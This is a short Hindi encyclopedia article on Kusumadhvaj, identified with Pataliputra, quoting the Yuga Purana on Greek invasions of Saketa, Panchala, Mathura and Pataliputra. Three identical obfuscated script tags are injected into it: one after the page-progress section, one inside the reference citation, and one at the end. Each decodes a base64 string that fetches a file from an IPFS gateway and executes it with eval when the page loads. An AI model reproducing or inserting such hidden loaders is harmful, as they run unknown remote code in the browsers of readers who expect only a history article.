कुसुमध्वज

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

कुसुमध्वज या 'पुष्पपुर' का अभिज्ञान पाटलिपुत्र से किया गया है। "गार्गी संहिता" के अंतर्गत 'युगपुराण' में कुसुमध्वज पर यवनों (ग्रीकों) के आक्रमण का उल्लेख है-

'तत: साकेतमाक्राम्य पांचालान् मथुरांस्तथा, यवना दुष्ठविक्रान्ता: प्राप्स्यन्ति कुसुमध्वज्। तत: पुष्पपुरे प्राप्ते कर्दमे प्रथिते हिते, आकुला विषया: सर्वे भविष्यन्ति न संशय:'[1]

  • उपर्युक्त उद्धरण में संभवत: भारत पर दूसरी शती ई. पू. में होने वाले मिनेंडर के आक्रमण का उल्लेख है।
  • गार्गी संहिता से भी ऐतिहासिक घटनाओं की जानकारी मिलती हैं, जिसमें भारत पर होने वाले यवन आक्रमणों के उल्लेख प्राप्त होते हैं।
  • इस ग्रन्थ यवनों के साकेत, पंचाल, मथुरा तथा कुसुमध्वज पर आक्रमण का उल्लेख प्राप्त होता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 587 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. कर्न–बृहत्संहिता, पृ. 37.

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>